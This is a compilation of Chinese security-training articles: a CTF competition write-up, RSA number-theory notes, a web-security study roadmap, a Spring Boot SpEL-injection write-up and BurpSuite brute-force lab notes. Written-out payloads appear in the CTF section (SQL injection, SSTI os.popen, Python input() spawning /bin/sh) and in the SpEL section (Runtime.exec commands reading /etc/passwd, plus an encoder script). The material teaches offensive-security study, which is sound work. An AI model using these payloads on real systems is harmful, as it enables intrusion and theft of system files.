HDCTF-2nd复盘
HDCTF_2nd, 海南大学校内赛。国庆打的,之前没时间复现。校外人水了个纪念品。感谢Gamous不舍赐教。感动的哭了。比赛的复盘。有些没做出来的阔以看官方wp。题附及官方wp已打包: 蓝奏: https://wws.lanzous.com/i7HmLhmw18f 百度云: 链接:https://pan.baidu.com/s/1mKWDG-bftD-kPAeZwEUvGw 提取码:bcxv Web signin: 打开网页,源代码,base64解码 babysql(ACTF题): 这题。。一开始以为是纯注入,一个一个试'load_file','information_schema'。还过滤了挺多东西的 后来就直接绕过注入,直接select即可。看提示(划线划掉的)也是 查完字段是三个之后,直接查询flag即可 1' union select 1,2,flag from flag# babyrce(ACTF题): 这题也没啥限制,就是最简单的rce,../ 就返回上级目录,flag就是flag文件。 easygit(ACTF题): git泄露,github上找个工具,下了源码直接cat flag就好了 backup_file(ACTF题): index.php.bak,备份文件,根据源码绕过就好了,构造?key=123即可 考点应该是php弱类型 参考别人总结的:https://www.cnblogs.com/Mrsm1th/p/6745532.html intval函数直接将值转换成数字,即数字跟字符串比较。 传key=123即可绕过限制 easy_file_include(ACTF题): 伪协议直接包含http://8.129.15.153:20005/?file=php://filter/read=convert.base64-encode/resource=flag.php 点击页面的tips,文件包含php伪协议直接尝试即可 do_u_know_HTTP: 提交get参数Hainan_University,然后在post提交HnuSec即可。在根据最后一条,burpsuite抓包加上http头 没啥难的,就按要求提交各类参数就好了。就是post的时候我bp一直不行,用hackbar才可以 erciyuan 看源码,直接跟到最后。先第一步绕过正则即可,^符号取反。就把除了26个大小写字母和数字的其他替换成空 第二个过滤则把HnuSec替换成!。观察前面的hint我们要访问到!HDCTF!.php文件。就构造HnuSecHDCTFHnuSec.php的编码即可绕过 hash_hmac: 观察源码,直接绕过即可。post传x[]=QNKCDZO&y[]=aabg7XSs。给了个 fllllllllllllag.php,访问cat flag md5弱类型,直接绕过吧 welcome: 猜测弱口令,admin/123456,密码错误左上角弹出密码。输入 cat flag calculator_v1 flask的一题,下载给的python文件,没做任何过滤。直接cat flag即可 ezflask 给了个参考链接,模板注入。还什么都没过滤。就直接套了wp里的payload。https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/ {{config.__class__.__init__.__globals__['os'].popen('cat ./flag').read()}} warmup getshell getshell。看过滤。过滤逗号和等号,而后用.来连接前后。 直接把连接前面的闭合掉,在用//注释符把后面注释掉 直接闭合后面也是可以cat flag的,看源码就拿到flag了 dudaima get给pass传个值,然后反序列化他。就满足if里的条件即可 就可自己测试了。引用赋值和传值赋值参考:https://blog.csdn.net/m15712884682/article/details/77350027 剩下的web题就不咋会了。还有几道flask和反序列化,可以看看官方wp misc: 签到题: 直接输flag,签到即可。。 一步之遥: 伪加密 改成00打开 你知道lsb是什么意思吗 就lsb低位隐写,存为7z即可 后来保存下来,看到文件较小,也猜到可能是crc32,找工具爆了确实也不是 在比赛中是没想到可能会是纯数字,后来就写个纯数字的爆破脚本即可(脚本来自官方wp) girlfriend: 导出HTTP对象,选最大的是图片文件。打开看到flag 嘤语: ----- . ----. -... ..--- -... ...-- -.... . . ...-- ...-- -... .---- ...-- ..-. ..-. ----. .- --... ...-- -.. ..-. ....- ....- ----. -... --... --... . ..--- ..-. http://www.zhongguosou.com/zonghe/moersicodeconverter.aspx 奇怪的字符: leet,l33t。黑客语言。wiki上找一下。有对照表,也有在线的网站 http://www.englishcn.com/tools/Leet.htm http://output.jsbin.com/IHoFuQE/1 https://www.dcode.fr/leet-speak-1337 http://www.toolsxx.com/code/1337.html https://1337.me/ https://www.gamehouse.com/blog/leet-speak-cheat-sheet/ 无字天书: 打开文件,文件只由空格,tab,换行组成。可能是white-space 找个在线的网站贴进去可以直接解,或者去gayhub上找个。 https://vii5ard.github.io/whitespace/ ook直接解密就可 https://www.splitbrain.org/services/ook  你真的了解dns吗?: nslookup -type=txt hdctf.0x00.work,直接看到flag dns的type表示dns的协议类型 nospace 零度字符隐写 解出来的就是password,密码admin:https://offdev.net/demos/zwsp-steg-js 雪花飘飘 零解一题,看了wp还没给我整懂,问了一下出题人。diff原页面和链接页面。发现换行,考虑网页隐写。使用stegsnow。snow=雪 用在线工具diff即可。 海南上一次下雨时间。 然后就保存题目链接的html文件。 花朵解密,https://www.qqxiuzi.cn/bianma/wenbenjiami.php?s=huaduo 海底捞帧预告片 这题感觉不难,就是头大,看了wp还能懂 找到了可以用FFmpeg删除重复帧的命令,和wp一毛一样 问了一下出题人,还给一个用脚本的思路,Hash比较每一帧来筛选。写不来,Ffmpeg天下第一。 删除重复帧之后,提出图片。 最后筛选到4张,但目前无ps就没继续做下去了,拼起来反色即可得到二维码。 专业团队: 分四阶段,主要就是要降噪处理(不知道能不能把抬棺那段分离出来)。还有能听出来DTMF编码。morse降噪完直接看就好了。DTMF不能的话,就手解。降噪完也是能看的,一个是频谱,然后第二个应该是morse,第三个是dtmf 第四个就是流派的flag。连起来就是最后的flag了。 调两个频段之后对着DTMF的表就可以看出来了。用工具解的话有几位是乱了的 瓦斯矿工 很新奇的一道题,虚拟货币相关。 metamask使用可参考:https://zhuanlan.zhihu.com/p/112285438?from_voters_page=true 直接foremost分离图片即可得到一个压缩包,拖进16进制文件里也可以看到有12个50 4B 03 04的PK头 观察到大小较小,直接爆破crc即可,以太坊钱包通过助记词登录。助记词可通过数字查询,这里就只爆破数字。 直接破即可,https://github.com/bitcoin/bips/blob/master/bip-0039/english.txt#L350 以太坊钱包通过BIP-39生成私钥,数字查询助记词。 脚本 import binascii import zipfile import time def crc32asii(v):     return (binascii.crc32(bytes(str(v), encoding='ascii')) & 0xffffffff) for x in range(1, 10000):     f = zipfile.ZipFile("00000001.zip", "r")     for i in range(1, 13):         GetCrc = f.getinfo(str(i))         crc = GetCrc.CRC         a = ("0x%08x" % crc)         j = crc32asii(x)         if ("0x%08x" % j) == a:             print(i, x)             time.sleep(0.1) 使用助记词登录之后,复制地址,去查询最近的交易记录 详情里得到的直接转字符串得到flag 到点了,上号 出题肯定有故事doge 考点是mp3保留字隐写数据,wp里给了wiki链接https://en.wikipedia.org/wiki/MP3#File_structure 直接拿脚本就出了,未学习原理。 crypto 起源: 应该是凯撒直接解 围住世界: 这题疑惑了挺久的,以为是自己找的网站和软件不对。反反复复里里外外。试了好几个。后来翻看笔记的时候发现可能是w型栅栏密码 http://www.atoolbox.net/Tool.php?Id=777.com 有趣起来了: 就倒序,ctf特训营上有讲的。quiqui也可以做的,前面改成hdctf就好了。顺便把字母改一下即可。 官方wp上给的是用脚本 神秘字符: 一看时候只注意到mc。以为是什么mc的其他版本。就去疯狂google也没找到。后来就翻到mc的wiki。就mc附魔台上的字符,玩过mc的应该都知道,mc wiki上找张对比图,对比就好 https://minecraft-zh.gamepedia.com/Minecraft_Dungeons:%E7%AC%A6%E6%96%87茫茫人海: base64隐写,跟[ACTF新生赛2020]base64隐写挺像的。反正也是套脚本就好了 奇怪的贝斯: 整不会了这题,抱歉。 具体思路应该就是构造一个码表。\x即是转义字符,方便表示 babyrsa: https://www.anquanke.com/post/id/87105 这题还好,纯现代密码菜鸡,不过给了pqe。又给了个链接,先求欧拉,然后就n,d,m #coding:utf-8 from binascii import a2b_hex, b2a_hex import gmpy2 #flag = "*****************************" p = 262248800182277040650192055439906580479 q = 262854994239322828547925595487519915551 e = 65533 n = p*q phi = (p-1)*(q-1) d = gmpy2.invert(e, phi) c = 68405618655091231850901459679785989915772760467494039910176075122809565696913 m = pow(c, d, n) print(m) #a=(int(str(m),16)) a=191853633260784640753082658319123392799532077630882079100618224148262386737246462849 https://tool.lu/hexconvert/ https://www.bejson.com/convert/ox2str/ Re sign_up 直接查看字符串就可看到flag re1 这题比赛的时候看,以为是异或运算+base64换表然后解密,找了半天硬是没找全64个字符。然后就不了了之。Re也不咋会。之后的题可以看官方wp。 pwn calculator 题目描述: python2的input执行输入导致rce 先用__import__('os').system('/bin/sh')。直接rce 然后用python -c 'import pty;pty.spawn("/bin/bash");'。获得一个bash的shell 找到之后cat即可 自己写了一个。。发现py直接input就可了 warmup abs函数是取绝对值的意思。所以不可能小于0。考虑abs负数溢出。就是2的31次方。直接写脚本传就可 backdoor 字符串查看到sh,跟入 继续跟 bash后门 查看buf到r的位置 编写脚本溢出即可 其他pwn题本菜不会,pwn题可以参考某大佬,应该是ak了pwn题的:https://www.cnblogs.com/z2yh/p/13771942.html 相关实验:CTF实验室 https://www.yijinglab.com/pages/CTFLaboratory.jsp
CTF现代密码
前言: 在CTF的密码题目中,RSA以其加密算法之多且应用之广泛,所以在比赛中是最常见的题目。学习密码学并不难,但首先得打好数学基础,并在攻破密码的学习之路上持之以恒。今天我们就来打开RSA加密世界的第一扇门<数论< span="">>。 数论基础: 1.素数 2.公约数与公倍数 3.欧拉函数 4.欧几里得算法 5.扩展欧几里得算法 6.同余 7.模运算 8.逆 9.中国剩余定理 10.逆元与同余式定理 1.素数: 定义: 一个大于1的自然数,除了1和它本身外,不能被其他自然数整除(除0以外)的数称之为素数(质数);否则称为合数。 如: 3×4 = 12,不是素数。 11除了等于11×1以外,不能表示为其它任何两个整数的乘积,所以11是一个素数。 关于素数有以下事实: (1)如果p是素数,且p | ab(表示ab能被p整除),则p | a或 p | b ,即p 至少整除a与b中的一个。 (2)(算术基本定理)每个整数n ≥ 2 ,均可分解成素数幂之积: (3)素数有无穷多个。 2.最大公约数与最小公倍数 3.欧拉函数 定义: 性质: 4.欧几里得(Euclid)算法 欧几里得算法又称为辗转相除法,用于求两个数的最大公约数。 原理:GCD(x,y) = GCD(y,x mod y) ,x>y 1.python代码实现 2.python第三方库: 1gmpy2.gcd(a,b)          #求a,b的最大公约数 2Crypto.Util.number 5.扩展欧几里得算法 定义: 在已知x,y时,求解一组解a,b,使得ax+by = GCD(x,y) 算法输入:两个正整数x和y 算法输出:x和y的最大公因数gcd(x,y)及满足等式ax+by=gcd(x,y)的整数a和b python代码实现: gmpy2库函数gcdext() 6.同余 定义: 设a,b是整数,n≠0,如果n|(a-b),则称a和b模n同余,记为a≡b(mod n),整数n称为模数。 由于n|(a-b) 等价于 -n|(a-b),所以a≡b(mod n) 与 a≡b(mod (-n))等价。因此,一般我们总假定模数n≥1。 同余的性质 性质1: (1)自反性:a ≡ a (mod  m) (2)对称性:a ≡ b (mod  m),↔  b ≡ c (mod  m)  ↔ a ≡ c (mod  m) 性质2: 7.模运算 定义: a模n的运算给出了a对模n的余数,这种运算称为模运算。注意:模运算的结果是从0到n-1的一个整数。 模运算就像普通的运算一样,它是可交换、可结合、可分配的。而且,对每一个中间结果进行模m运算后再进行模m运算,其作用与先进行全部运算,然后再进行模m运算所得到的结果是一样的。例如:             (a+b)mod m=((a mod m)+(b mod m)) mod m             (a-b)mod m=((a mod m)-(b mod m)) mod m             (a×b)mod m=((a mod m) ×(b mod m)) mod m             (a×(b+c))mod m=((a×b) mod m+(a×c) mod m) mod m 这些性质对于密码学中的数学计算非常的重要,模运算可以将所有中间结果和最后结果限制在一个范围内。对于一个k位的模数n,任何、加、减、乘的中间结果将不会超过2k位长,这样避免了巨大的中间结果,使得计算机能够有效的处理数据。 如:计算(mod n),不要直接进行7次乘法和一个大数的模运算:                        (a×a×a×a×a×a×a×a)mod n 相反,应该进行三次比较小的乘法和三次比较小的模化简: 这样就可以避免巨大的中间结果出现。 8.逆 定义: 若m≥1,gcd(a,m)=1,则存在c使得: ca≡1(mod m) 9.中国剩余定理 中国剩余定理(Chinese remainder theorem,CRT),又称孙子定理,最早可见于中国南北朝时期(公元5世纪)的数学著作《孙子算经》中,为一次同余方程组的起源。 代码实现: 10.逆元与同余式定理 1模运算重要公式: 2威尔逊定理:(wilson’s theorem) 若p为素数,则:(p-1)!≡-1(mod p)  ⟹推导:(p-2)!≡1(mod p); 其逆定理同样成立。即:若(p-1)!≡-1(mod p),则p为素数 3二次探测定理: 定义: 若p是素数且 0<< span="">x<< span="">p,则 ≡1(mod p)仅有的两个解为:x=1或x=p-1 证明:由于≡1(mod p),所以:-1≡0(mod p),即(x+1)(x-1)≡0(mod p) 4费马小定理(Fermat): 5欧拉定理(Euler): 若a与m互质,则: 后记: 数论基础的知识点比较杂乱繁多,这篇文章写的时候尽可能的去精简了,其中的定理及公式是必须要牢记于心的,后面的RSA加密算法的讲述中我会介绍定理及公式在RSA中的应用。 学习完数论基础后,后面我们将开始学习RSA的常见攻击算法及加密原理,以及各种工具的使用和python第三方库的函数调用。 相关实验--https://www.yijinglab.com/pages/CTFLaboratory.jsp https://www.yijinglab.com/pages/CTFLaboratory.jsp
这可能是最适合萌新入门Web安全的路线规划
最近在后台经常收到粉丝问,Web安全有没有什么路线。确实,Web安全的范围实在太大,哪些先学,哪些后学,如果没有系统的路线会降低大家效率,对于刚入门的同学们来说简直就是“噩梦”。所以,这篇类似学习路线的文章,希望可以帮助刚入门的萌新们少走弯路。(文末附学习资料及工具领取) 首先我们来看看企业对Web安全工程师的岗位招聘需求是什么? 1 职位描述 对公司各类系统进行安全加固; 对公司网站、业务系统进行安全评估测试(黑盒、白盒测试) 对公司安全事件进行响应、清理后门、根据日志分析攻击途径 安全技术研究,包括安全防范技术、黑客技术等; 跟踪最新漏洞信息,进行业务产品的安全检查。 2 岗位要求 熟悉Web渗透测试方法和攻防技术,包括SQL注入、XSS跨站、CSRF伪造请求、命令执行等OWSP TOP10 安全漏洞与防御; 熟悉Linux、Windows不同平台的渗透测试,对网络安全、系统安全、应用安全有深入理解和自己的认识; 熟悉国内外安全工具,包括Kali、Linux、Metasploit、Nessus、Namp、AWVS、Burp等; 对Web安全整体有深刻理解,有一定漏洞分析和挖掘能力; 根据岗位技能需求,再来制定我们的学习路径,如下: 01 Web安全学习路径 01 HTTP基础 只有搞明白Web是什么,我们才能对Web安全进行深入研究,所以你必须了解HTTP,了解了HTTP,你就会明白安全术语的“输入输出”。黑客通过输入提交“特殊数据”,特殊数据在数据流的每个层处理,如果某个层没处理好,在输出的时候,就会出现相应层的安全问题。关于HTTP,你必须要弄明白以下知识: HTTP/HTTPS特点、工作流程 HTTP协议(请求篇、响应篇) 了解HTML、Javascript Get/Post区别 Cookie/Session是什么? 02 了解如下专业术语的意思 Webshell  菜刀 0day  SQL注入 上传漏洞 XSS CSRF 一句话木马 ...... 03 专业黑客工具使用 熟悉如何渗透测试安全工具,掌握这些工具能大大提高你在工作的中的效率。 Vmware安装 Windows/kali虚拟机安装 Phpstudy、LAMP环境搭建漏洞靶场 Java、Python环境安装 子域名工具 Sublist3r Sqlmap  Burpsuite  Nmap  W3af  Nessus  Appscan  AWVS 04 XSS 要研究 XSS 首先了解同源策略 ,Javascript 也要好好学习一下 ,以及HTML实体 HTML实体的10 或16进制还有Javascript 的8进制和16进制编码,最终掌握以下几种类型的XSS: 反射型 XSS:可用于钓鱼、引流、配合其他漏洞,如 CSRF 等。 存储型 XSS:攻击范围广,流量传播大,可配合其他漏洞。 DOM 型 XSS:配合,长度大小不受限制 。 05 SQL注入 所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。你需要了解以下知识: SQL 注入漏洞原理 SQL 注入漏洞对于数据安全的影响 SQL 注入漏洞的方法 常见数据库的 SQL 查询语法 MSSQL,MYSQL,ORACLE 数据库的注入方法 SQL 注入漏洞的类型:数字型注入 、字符型注入、搜索注入 、盲注(sleep注入) 、Sqlmap使用、宽字节注入 SQL 注入漏洞修复和防范方法 一些 SQL 注入漏洞检测工具的使用方法 06 文件上传漏洞 了解下开源编辑器上传都有哪些漏洞,如何绕过系统检测上传一句话木马、WAF如何查杀Webshell,你必须要掌握的一些技能点: 1.客户端检测绕过(JS 检测) 2.服务器检测绕过(目录路径检测) 3.黑名单检测 4.危险解析绕过攻击 5..htaccess 文件 6.解析调用/漏洞绕过 7.白名单检测 8.解析调用/漏洞绕过 9.服务端检测绕过-文件内容检测 10.Apache 解析漏洞  11.IIS 解析漏洞 12.Nginx 解析漏洞 07 文件包含漏洞 去学习下 include() include_once() require() require_once() fopen() readfile() 这些php函数是如何产生文件包含漏洞, 本地包含与远程包含的区别,以及利用文件包含时的一些技巧如:截断 /伪url/超长字符截断等 。 08 命令执行漏洞 PHP代码中常见的代码执行函数有: eval(), assert(), preg_replace(), call_user_func(), call_user_func_array(),create_function(), array_map()等。 了解这些函数的作用然后些搞清楚如何造成的代码执行漏洞。 09 CSRF 跨站点请求 为什么会造成CSRF,GET型与POST型CSRF 的区别, 如何防御使用 Token防止CSRF? 010 逻辑漏洞 了解以下几类逻辑漏洞原理、危害及学会利用这几类漏洞: 信息轰炸、支付逻辑漏洞、任意密码修改、越权访问、条件竞争、任意注册、任意登录、顺序执行缺陷、URL跳转漏洞. 011 XEE(XML外部实体注入) 当允许XML引入外部实体时,通过构造恶意内容,可以导致文件读取、命令执行、内网探测等危害。 012 SSRF 了解SSRF的原理,以及SSRF的危害。 SSRF能做什么?当我们在进行Web渗透的时候是无法访问目标的内部网络的,那么这个时候就用到了SSRF漏洞,利用外网存在SSRF的Web站点可以获取如下信息。 1.可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息; 2.攻击运行在内网或本地的应用程序(比如溢出); 3.对内网Web应用进行指纹识别,通过访问默认文件实现; 4.攻击内外网的Web应用,主要是使用get参数就可以实现的攻击(比如struts2,sqli等); 5.利用file协议读取本地文件等。 如果上述漏洞原理掌握的都差不多那么你就算入门Web安全了。
记一次Spring表达式注入
该漏洞仅影响 Spring Boot 1.2.8之前版本,Spring Boot 1.2.8版本之后已得到修补。 在spring中任何反映用户输入的Whitelabel错误页面都将会容易受到攻击。这是因为用户的输入被视做为Springs Expression Language(SpEL)。在一次测试中,我遇到了一个特殊的URL,该URL触发了spring中的Whitelabel Error页面表达式注入。 https://%3Cdomain%3E/BankDetailForm?id=abc${12*12}abc<>执行结果: spring中的Whitelabel页面将输入的abc${12*12}abc显示为abc144abc。随后尝试执行一个id命令并显示结果。尝试了以下测试: https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(%27id%27<>)} payload:${T(java.lang.Runtime).getRuntime().exec('id')} 执行结果: 输入的表达式原样输出,对比David的文章(https://secalert.net/#cve-2016-4977),一切都显示正确,但是我仍然没有得到想要的输出。尝试了良久之后,我决定本地搭建一个Springs应用程序尝试创建相同的场景。我尝试了基本操作,{5*5}并在错误页回显出25的结果。然后尝试执行id命令,依旧没有执行。通过调试跟踪代码的堆栈信息如下: 可以清楚的看到包含id命令的单引号被URL编码。得出原因之后,大致的解决方式有两种: 1、通过在错误的代码中查找字符,然后使用substring()将字符串一个个截取来传递给exec()方法。 2、通过找到一种无需使用双引号或单引号就可以传递要执行的字符串的方法。 这里我们采用第二种方法。如果我能够找到可以输入id参数的方法,那么cat /etc/passwd也将会迎刃而解。在Java中支持嵌套函数的使用。 经过对一些Java类调试之后发现了以下内容: java.lang.Character.toString(105) -> prints the characer 'i' i字符我们已经得到,那么接下来我们通过同样的方法合并字符“ d”即可,我们使用concat()方法来进行嵌套d字符,并与i字符合并。 java.lang.Character.toString(105).concat(T(java.lang.Character).toString(100)) -> prints the characters 'id' 最终得到的有效载荷如下: https://%3Cdomain%3E/BankDetailForm?id=${T(java.lang.Runtime).getRuntime().exec(T(java<>. lang.Character).toString(105).concat(T(java.lang.Character).toString(100)))} 执行结果如下所示: 通过getRuntime()方法执行我们传入的参数,现在,我们已经有了一个回显型的RCE,可以使用它来执行命令。接下来尝试执行cat /etc/passwd并将结果打印到Whitelabel Error页面上。这意味着对于每个字符都需要通过ASCII编码来进行传递。每个字符的传入格式如下: concat(T(java.lang.Character).toString(<ascii value>)) 由于字符过多,我们通过python脚本来实现此功能: #!/usr/bin/env python from __future__ import print_function import sys message = raw_input('Enter message to encode:') print('Decoded string (in ASCII):\n') for ch in message:    print('.concat(T(java.lang.Character).toString(%s))' % ord(ch), end=""), print('\n') 要获取cat /etc/passwd命令的结果,我们通过使用IOUtils类调用toString()方法将输入流传递给此方法,并获取相应结果。 最终payload如下: ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).conc 综上所述,通过Apache IOUtils库,并将cat /etc/passwd使用字符类转换为ASCII字符,将转换后的字符传递给exec()方法执行。并获得输入流,将其传递给toString()IOUtils类的方法解析。 翻译来源:http://deadpool.sh/2017/RCE-Springs/ 相关实验--https://www.yijinglab.com/expc.do?ec=ECID07d9-3ccd-4c90-8a09-b980d8cd7858&pk_campaign=heetian-wemedia Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息从而导致信息泄露的事件发生
BurpSuite实战——蚁景网安实验室学习笔记
burpsuite是一款功能强大的用于攻击web应用程序的集成平台,通常在服务器和客户端之间充当一个双向代理,用于截获通信过程中的数据包,对于截获到的包可以人为的进行修改和重放。 此BurpSuite实战主要包括两个实验:分别是使用burp进行暴力破解和Burpsuite简介及MIME上传绕过实例。 链接:https://www.yijinglab.com/cour.do?w=1&c=C172.19.104.182014112610353900001&pk_campaign=heetian-wemedia 实验一:使用burp进行暴力破解 一、实验简介 实验所属系列:web安全 实验对象:本科/专科信息安全专业 相关课程及专业:网络安全,计算机网络 实验类别:实践实验类 二、预备知识 1.Burp的工作模式: 在没有burp之前,客户端使用浏览器直接与服务器进行通信。有了burp之后,burp在客户端与服务器之间充当代理。这样,浏览器发送给服务器的请求就会被burp进行捕获,而burp和wireshark这种审计类工具相比,其强大之处在于不仅可以做审计工作,更可以对数据包进行修改并发送出去。使用了burp的结构如下图所示。 burp结构 2.暴力破解: 一般使用暴力破解都有两种原因: ● 对这个漏洞的测试,人是可以完成的,即可穷举。 ●人可以完成,但是代价太大,或者太浪费时间。 正是出于这样的问题,一些软件的出现帮助人完成了这些测试,这就是暴力破解的真正好处。在业界曾经有这样的一种看法,对于暴力破解的使用都不屑一顾,因为大家觉得技术含量太低。但是,从实际的情况来看,因为用户使用弱口令情况太普遍,导致很多漏洞使用暴力破解都可以轻松拿下。 暴力破解,最有价值的地方是在对字典的构造上,这是一门技术,需要长期的经验积累。 三、实验目的 通过该实验掌握burp的配置方法和相关模块的使用方法,对一个虚拟网站使用burp进行暴力破解来使网站建设者从攻击者的角度去分析和避免问题,以此加强网站安全。在此郑重声明,本教程只做教学目的,严禁使用本教程对线上网站进行破坏攻击。 四、实验环境 服务器:windows xp sp3 ip地址:10.1.1.163 测试者:windows xp sp3 ip地址随机 五、实验步骤 步骤一: Burp是个非常强大的web分析工具。burp在浏览器和服务器之间充当了一个双向代理。这样,就可以把用户或者服务器通信过程中产生的数据包给截获下来,让专业人员去分析。(关于Burpsuite的部分简介可以参考实验二) 本次实验,需要完成的任务如下: ●配置burp和浏览器代理,使burp能够正常运行; ●学会使用burp中的compare模块; ●学会使用burp中的repeat模块; ●学会使用burp中的intruder模块。 此实验由蚁景网安实验室平台提供了一个存在暴力破解隐患的网站。 配置burp和设置ie代理: 在预备知识中我们了解到,burp在浏览器(客户端)是以代理的方式存在。因此,如果想要我们发送的包被burp截断,就需要双方协商好一个监听端口。 首先,双击打开桌面的burp进入主界面。 1.设置burp监听端口: 选择proxy(代理),进入之后选择options。我们看到在Proxy listeners处burp为我们默认添加了一个本地8080端口处的监听项。当然,你也可以自拟一个新的监听端口,在左侧点击ADD即可设置。 2.配置浏览器的代理项: 这里以系统自带的ie为例(chrome和firefox用户可以使用代理插件进行设置) 使用win+R键打开命令窗口,输入inetcpl.cpl进入ie设置。 在连接选项卡中,选择局域网设置: 输入我们为burp指定的监听端口号: 这时候,我们就建立了基本配置。 3.测试: 在burp中打开intercept is on: 用浏览器访问:10.1.1.163/crack,我们会在burp中看到: 这表明我们已经成功的截获了来自浏览器的请求。 点击forward就可以把这个请求发送给服务器,服务器会将结果返回给浏览器中,并将响应在burp中记录下来。Drop会将这个包丢掉,即不会发送到服务器端。 步骤二: 熟悉comparer,repeater,intruder模块。 1.compare模块: compare模块可以将不同的数据包(无论是请求包还是响应包)进行比较。 首先,我们添加一条请求到compare模块去。 在已经截取的数据包上面右键,选择send to comparer: 这时候,我们会看到在comparer模块,上下两个界面中同时多出来了一条记录: 使用同样的方法,我们在为comparer模块添加另外的一条记录: 我们打算使用1和2进行对比,在两个视图中选择1和2(顺序无所谓),然后点击右下角的compare word(bytes是指文件按照字节流来进行比对): 从图中我们可以看到,窗口标题提示了我们两个文件有多少处不同。左下角的图例告诉了我们右侧和左侧相比,哪些是添加的,哪些是修改的,哪些是删除的。非常直观。 2.repeater模块: 有时候我们需要向服务器发送多次相同的请求来测试服务器的响应。这里,我们只需要将burp截取到的请求通过右键send to repeater就可以在repeater中进行操作了。 进入到repeater之后,点击go按钮,右侧就会返回服务器的响应。 Go的次数没有限制,点击多少次go,burp就会把当前的请求页向服务器发送多少次。 使用repeater的目的是进行重放攻击测试,看服务器是否会对重放测试做出反应。 3.intruder模块: 这个模块是burp非常强势的地方,也正是我们课中说到的暴力破解主要使用的模块。 (1)同样的,在已经截获的请求页上右键,选择send to intruder。 进入intruder模块。会看到四个选项卡,分别是Target,Positions,Payloads,Options。 Target主要是设置暴力破解访问的host地址和对应的端口号: Positions设置是选择我们要暴力破解的位置。在默认情况下,burp会自动将所有的变量都勾选上。实际操作中,我们往往是针对单一点,选择“clear$”,此时所有默认的爆破点都已经消失。 (2)用鼠标选中需要暴力破解的变量的值。然后右侧选择“add$”,这样我们就添加了一个爆破点,这个爆破点的payload位置是在两个“$”之间的部分。 Payloads设置: 选择怎样的字典或者payload,是这个模块要做的事情。Payload type下拉列表框为我们提供了常用的payload 类型,视情况选择即可。 如果你有合适的字典,在选择了payload type为simple list后,接下来你就可以在payload options中选择你要加载的字典文件,点击load即可。 有时候我们需对payload进行二次处理,比如md5加密啊,base64加密啊之类的,burp当然也考虑到了这一点。在payload processing中集成了一些常见的算法。 点击add,在弹出的窗口中就可以根据需要选择了。 Options中有关于其他细节的设置,比如攻击时使用的线程数,关于攻击的一些存储设置之类。这里就不再赘述。 步骤三: 下面尝试对密码的爆破:已知用户名,密码为50-100之间的某个数。 1.访问http://10.1.1.163/crack/,这是一个登录界面: 2.使用图中账号登录,密码任意。完成表单后提交。这时候burp会截取我们的请求: 3.在该请求页上右键选择send to repeater,我们来进行重放测试。点击go,右侧返回服务器的响应。多次go之后发现,服务器返回的长度和内容都没有发生变化,都会提示sorry: 也就是说,服务器对多次测试并没有加以限制,因此我们可以使用暴力破解了。 为了再次验证,我们在登陆界面再次输入一个不同的密码。在我们将两次请求的响应使用comparer去比对一下。(在proxy中选择子选项卡HTTP History,选择方法为post的两个历史记录,点击每一条post记录,下方会看到不同的post数据时,这应该就是我们的两次不同密码的请求记录,右键选择send to comparer(response)): 从图中我们可以发现,经过对两次不同的请求返回结果进行对比,burp为我们在左上角标出了2项不同,但都是体现在时间上,其余都相同。所以可以使用暴力破解。 4.进入到intruder之后,先点击Clear$,然后选中我们刚才填写的pas字段值,点击Add$。这样,就确定了爆破点是pas位置。 5.打开payload选项卡,payload type选择数字: 6.选择数字之后,我们填写数字范围。因为是已经暗示了密码范围,所以我们选择50到100.顺序生成,每步加1(step设置): 7.开始攻击: 8.这时候我们看到了攻击测试界面。我们重点关注payload和length,这里的length表示的是服务器的响应长度。 从理论上来分析,登陆成功和登陆失败,返回的长度应该不同,这能方便我们找出正确密码。右下角的进度条显示了我们的进度。 我们发现,在测试的50个payload中,payload为69的返回值不同与其他payload返回值。我们怀疑69就是答案。我们来观察一下。 在payload为69的request上双击,进入后选择response。浏览response,直到发现:“you got it.” Yes,you catch the flag!成功获取密码。 六、答题 注:请在特定的环境下进行实验(如虚拟机)。切记不要对他人的网站进行实验,如造成不利影响或产生违法行为,一切后果自负。 实验二:Burpsuite简介及MIME上传绕过实例 一、实验简介 实验所属系列:web安全 实验对象:本科/专科信息安全专业 相关课程及专业:信息网络安全概论 实验时数(学分):2学时 实验类别:实践实验类 二、预备知识 1.了解burpsuite: Burp Suite是用于攻击web应用程序的集成平台。包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程。所有的工具都共享一个能处理并显示HTTP消息,持久性,认证,代理,日志,警报的可扩展的框架。 在一个工具处理HTTP请求和响应时,它可以选择调用其他任意的 Burp 工具。例如,代理记录的请求可被Intruder用来构造一个自定义的自动攻击的准则,也可被 Repeater 用来手动攻击,也可被 Scanner 用来分析漏洞,或者被 Spider(网络爬虫)用来自动搜索内容。 Burpsuite主要有如下模块/功能: Target,显示目标站点目录结构 Proxy,是一个拦截HTTP/S的代理服务器,作为一个在浏览器和目标应用程序之间的中间人,允许你拦截,查看,修改在两个方向上的原始数据流。 Spider,是一个应用智能感应的网络爬虫,它能完整的枚举应用程序的内容和功能。 Scanner,是一个高级工具,执行后,它能自动地发现web 应用程序的安全漏洞。 Intruder,是一个定制的高度可配置的工具,对web应用程序进行自动化攻击,如:枚举标识符,收集有用的数据,以及使用fuzzing 技术探测常规漏洞。 Repeater,是一个靠手动操作来触发单独的HTTP 请求,并分析应用程序响应的工具。 Sequencer,是一个用来分析那些不可预知的应用程序会话令牌和重要数据项的随机性的工具。 Decoder,是一个进行手动执行或对应用程序数据者智能解码编码的工具。 Comparer,通常是通过一些相关的请求和响应得到两项数据的一个可视化的“差异”。 Extender,可以让你加载Burp Suite的扩展,使用你自己的或第三方代码来扩展Burp Suit的功能。 Options,对Burp Suite的一些设置。 